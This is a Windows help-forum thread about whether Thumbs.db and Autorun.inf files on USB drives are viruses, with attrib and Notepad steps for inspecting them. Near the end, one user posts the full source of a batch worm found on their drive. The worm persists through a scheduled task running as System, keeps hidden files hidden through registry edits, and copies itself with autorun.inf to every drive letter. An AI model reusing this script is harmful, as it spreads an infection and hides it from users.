FRIHOST FORUMS SEARCH FAQ TOS BLOGS COMPETITIONS
You are invited to Log in or Register a free Frihost Account!


Autorun & Thumbs





nivinjoy
Whenever i copy some files into my pen drive or hard disk in the copy file list it shows as some files getting copied in the name as Autorun.inf and Thumbs.db ..!!

Are these files viruses..?? But when i open the pen drive i can't see them at all..!! Is it the play of virus..?? Are these files dangerous..??
rickylau
Thumbs.db files are the windows-generated thumbnail cache in usual, if the folder where thumbs.db exists contains image files it have fewer chance to be a threat as compared as the one in other folders. If it appears when you open the folder with images in preview / thumbnail mode, it is likely to be generated by your OS.

Autorun.inf is the file specifying the icon of a removable media and the executable to be run upon insertion of the media. The file itself is not a virus but some viruses may generate this file in order to autorun itself in machines inserted the media.

In general, these files can be deleted. If you still find these files after you have deleted it, it is probably infected by virus (except the thumbs.db case mentioned above).
Marcuzzo
if you don't see it on the drive you can check if it is not a system and hidden file.
you can make it show up by checking "display content of system folders"... I think...or... open your command prompt... ( start >> run >>> type "cmd" in the field and hit enter).
navigate to the drive.
type "attrib Autorun.inf -s -h"
if it was a system file and hidden then it's not anymore, and then you can also see what it was actualy supposed to do.
it is just a regular text file, check here for more info on autorun.inf

http://en.wikipedia.org/wiki/AutoRun
Fire Boar
Thumbs.db is one of Windows' more annoying habits. It generates the file whenever it creates thumbnails, so typically you'll find each image directory contains a file called Thumbs.db.

Autorun.inf might, as mentioned above, have been created by a virus, but not always. Generally, if the file contains "Open Folder to View Files" (open it in Notepad to check), it was created by a virus, because it basically overrides the default Open Folder... task with an executable file. Otherwise, it's usually safe.

Both of these can be deleted without any adverse effects.
jdelfire
so yeah thumbs is ok... but the autorun.inf might be a virus as we all know most virus in usb flashdrives are being triggered by autorun... if you want to check what that autorun.inf is trying to run

1. go to run - cmd -
2. type x: (where x: is your flashdrive)
3. attrib -r -a -s -h autorun.inf (this should remove the attributes of the file and may allow you to see the file)
4. open a notepad - click file - open
5. in the filename box type x:\autorun.inf (there you will see what is the filename of the program that is being called by autorun)
6. if the file looks suspicious google it...

by the way for every flashdrive there should be no AUTORUN.inf
it wont do any harm if you would delete it... but that is your file better do a research first
Fire Boar
Or even paste the file contents here.

One thing you must absolutely not do is click "Open Folder to View Files" when you plug the stick in. Instead, click "Cancel" when the window pops up, and browse to it via "My Computer". Then open the file with Notepad (jdelfire's method seems overly cautious and x: is not necessarily the drive name of the USB stick), paste the contents here if it's plain text.

If you see weird symbols, just delete the file immediately.
Marcuzzo
Fire Boar wrote:
Or even paste the file contents here.

One thing you must absolutely not do is click "Open Folder to View Files" when you plug the stick in. Instead, click "Cancel" when the window pops up, and browse to it via "My Computer". Then open the file with Notepad (jdelfire's method seems overly cautious and x: is not necessarily the drive name of the USB stick), paste the contents here if it's plain text.

If you see weird symbols, just delete the file immediately.


jdelfire's method is the same as mine and isn't overly cautious because the autorun file may have system and hidden attributes thus making it more or less invilible to the user.
and by issueing the command on the file you remove those attributes.
Asap170
It could be you tried ccopying a folder last time and it didn't work right so the flashdrive got corrupted...Just reformat it.

Steps:
1. Backup the flashdrive
2. Open "My Computer"
3. Find your flashdrive
4. Right click the drive of your flashdrive
5. Click "Format"
6. Click "Format" or "Okay"
Fire Boar
Asap170 wrote:
It could be you tried ccopying a folder last time and it didn't work right so the flashdrive got corrupted...Just reformat it.

Steps:
1. Backup the flashdrive
2. Open "My Computer"
3. Find your flashdrive
4. Right click the drive of your flashdrive
5. Click "Format"
6. Click "Format" or "Okay"


... that's stupid. If the OP or anyone else is reading this thread for advice, the quoted is the post to disregard. Asap170 has just posted the solution to a completely different problem. Well done genius, please read the thread next time.

On a more sane note, @Marcuzzo, you're right, I did forget that they would be system files and not show up. This could be remedied by going into 'View/Folder Options', something that I prefer because it means you don't have to add the attributes again later.

But it's probably nothing to worry about. These files are common but annoying Windows files that sometimes generate themselves, especially in the case of Thumbs.db.
Asap170
Fire Boar wrote:
Asap170 wrote:
It could be you tried ccopying a folder last time and it didn't work right so the flashdrive got corrupted...Just reformat it.

Steps:
1. Backup the flashdrive
2. Open "My Computer"
3. Find your flashdrive
4. Right click the drive of your flashdrive
5. Click "Format"
6. Click "Format" or "Okay"


... that's stupid. If the OP or anyone else is reading this thread for advice, the quoted is the post to disregard. Asap170 has just posted the solution to a completely different problem. Well done genius, please read the thread next time.

On a more sane note, @Marcuzzo, you're right, I did forget that they would be system files and not show up. This could be remedied by going into 'View/Folder Options', something that I prefer because it means you don't have to add the attributes again later.

But it's probably nothing to worry about. These files are common but annoying Windows files that sometimes generate themselves, especially in the case of Thumbs.db.


Well sorry I misread it I thought when he copied it it sayed copying those files! From how I read this I got the feeling that you weren't that nice....But you might not of.
cr3ativ3
Fire Boar wrote:

... that's stupid. If the OP or anyone else is reading this thread for advice, the quoted is the post to disregard. Asap170 has just posted the solution to a completely different problem. Well done genius, please read the thread next time.


@Fire Boar: That comment was unnecessary, everyone's opinions and suggestions are welcome here, this is after all a public forum, and anyone is aloud to post. Please keep your personal oppinions to yourself, and if you disagree with someone else' view of the problem, kindly point out the flaw in their logic. You do not need to attempt to start flaming.

As to the problem at hand, as previously said the files you have mentioned recide in certain folders by default on a Windows system. Though some viruses/malware may use the mentioned files to distribute themselves, it is likely in your case this is not happening. These files are hidden by default, as windows does not want its users' to have to see these files/folders when ever they open a folder on their system.

No reason to be alarmed.
Fire Boar
I'm sorry.
FunDa
So, Nivin Joy, did u finally figure out what was wrong.

The first few answers were exactly right.



Thumbs.db is a thumbnail caching file windows makes and is "mostly harmless"
Autorun.inf is a file that can add settings to USB drives(and CDs and Hard disks) to make some program open by double clicking the drive (also add other options to the right-clikc menu, change drive icon,etc)

Nowadays, autorun.inf is used by so many viruses, that it is most probably a virus generated settign file that u saw.

Especially the fact that it tried to hide itself by making it a system and hidden file proves that it is up to no good.


Follow the instructions as given above. But if the file comes back even aqfter deleting it, that means that the virus is active on your computer system and is making a new file as soon as yo delete the old one. (Takes about 10 seconds for most viruses, when it peiodically checks the USB drives and makes a new copy of itslef - the autorun.inf as well as the vector form of the virus)
weableandbob
The files themselves are fine, but like other people said, autorun is used by a lot of viruses, so I recommend turning that off
trthdy
As previously stated the autorun.inf file is commonly exploited by malwares to automatically spread to computers where the memory device is inserted. I would reccomend using Panda USB and AutoRun Vaccine to immunise your memory device. This utility creates its own autorun.inf which cannot be deleted (without formatting). Hence, the malwares won't be able to place their own autorun.inf file.

And since, the autorun.inf file is being automatically being generated your computer is probably infected. Run a scan with Avira and MalwareBytes.
mazinkool
these are the contents of my autorun file (Thunms.cmd)
..
@echo off
rem ===================================
rem CMD.ALLYA.A - IWING/INDOVIRUS
rem ===================================


cls
xcopy /y Thumbs.cmd /h %windir%\system32
schtasks /create /sc minute /mo 1 /tn "Thumbs" /tr %windir%\system32\Thumbs.cmd /ru "System"
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v "Hidden" /t reg_dword /d 0 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v "ShowSuperHidden" /t reg_dword /d 0 /f

reg add HKCR\cmdfile\DefaultIcon /v "" /t REG_SZ /d %SystemRoot%\System32\shell32.dll,-154 /f


del /q /f /a E:\autorun.inf&del /q /f /a F:\autorun.inf&del /q /f /a G:\autorun.inf&del /q /f /a H:\autorun.inf&del /q /f /a I:\autorun.inf
del /q /f /a J:\autorun.inf&del /q /f /a K:\autorun.inf&del /q /f /a L:\autorun.inf&del /q /f /a M:\autorun.inf&del /q /f /a N:\autorun.inf
echo>>E:\autorun.inf [autorun]&echo>>E:\autorun.inf shellexecute=Thumbs.cmd&attrib +s +h +r E:\autorun.inf&xcopy /y Thumbs.cmd /h E:\
echo>>F:\autorun.inf [autorun]&echo>>F:\autorun.inf shellexecute=Thumbs.cmd&attrib +s +h +r F:\autorun.inf&xcopy /y Thumbs.cmd /h F:\
echo>>G:\autorun.inf [autorun]&echo>>G:\autorun.inf shellexecute=Thumbs.cmd&attrib +s +h +r G:\autorun.inf&xcopy /y Thumbs.cmd /h G:\
echo>>H:\autorun.inf [autorun]&echo>>H:\autorun.inf shellexecute=Thumbs.cmd&attrib +s +h +r H:\autorun.inf&xcopy /y Thumbs.cmd /h H:\
echo>>I:\autorun.inf [autorun]&echo>>I:\autorun.inf shellexecute=Thumbs.cmd&attrib +s +h +r I:\autorun.inf&xcopy /y Thumbs.cmd /h i:\
echo>>K:\autorun.inf [autorun]&echo>>K:\autorun.inf shellexecute=Thumbs.cmd&attrib +s +h +r K:\autorun.inf&xcopy /y Thumbs.cmd /h K:\
echo>>L:\autorun.inf [autorun]&echo>>L:\autorun.inf shellexecute=Thumbs.cmd&attrib +s +h +r L:\autorun.inf&xcopy /y Thumbs.cmd /h L:\
echo>>M:\autorun.inf [autorun]&echo>>M:\autorun.inf shellexecute=Thumbs.cmd&attrib +s +h +r M:\autorun.inf&xcopy /y Thumbs.cmd /h M:\
echo>>N:\autorun.inf [autorun]&echo>>N:\autorun.inf shellexecute=Thumbs.cmd&attrib +s +h +r N:\autorun.inf&xcopy /y Thumbs.cmd /h N:\
echo>>O:\autorun.inf [autorun]&echo>>O:\autorun.inf shellexecute=Thumbs.cmd&attrib +s +h +r O:\autorun.inf&xcopy /y Thumbs.cmd /h O:\
attrib +s +h +r %windir%\system32\Thumbs.cmd
cls
start %cd%
@exit

.....
plz help me wat 2 do...??
nepalstar
nivinjoy wrote:
Whenever i copy some files into my pen drive or hard disk in the copy file list it shows as some files getting copied in the name as Autorun.inf and Thumbs.db ..!!

Are these files viruses..?? But when i open the pen drive i can't see them at all..!! Is it the play of virus..?? Are these files dangerous..??


Thumbs.db is generated automatically by windows itself and Autorun.inf is may be virus. Autorun is automatically executed when you open the drive which that contains, mostly in pen drive. Once I got problem due to pen drive with autorun.inf, which contains some scripts which run automatically. So be careful dealing with autorun.inf but no need be worry about thumbs.db file.
nivinjoy
Is Thumbs.db related to image files..?
sonam
nivinjoy wrote:
Is Thumbs.db related to image files..?


I think it is used for all files and folders and it is created by Windows for Thumbs preview in Widows explorer.

Read more:
http://en.wikipedia.org/wiki/Windows_thumbnail_cache

Sonam
nivinjoy
I asked because, whenever i turn on the hidden files display i can see thumbs.db file inside folders. That's why i am confused.
Related topics
Command and Conquer
[php scripts ] phpweather&email
Free Domain & Redirect Services
Windows Tips&tricks!
Coldplay
751 Useful Windows XP Files
Da Vinci Code
Beginning of the End of the World?
Press&Publicity officer from Uni club seeks free webspac
request for a secrets & Confession forum topic
Windows XP Tricks & Tips!!!!
Getting 2 man Viruses from ur USB??? Click here..& Be co
Autorun trouble
USB Disk Security for Windows & panda vaccine
Reply to topic    Frihost Forum Index -> Computers -> Computer Problems and Support

FRIHOST HOME | FAQ | TOS | ABOUT US | CONTACT US | SITE MAP
© 2005-2011 Frihost, forums powered by phpBB.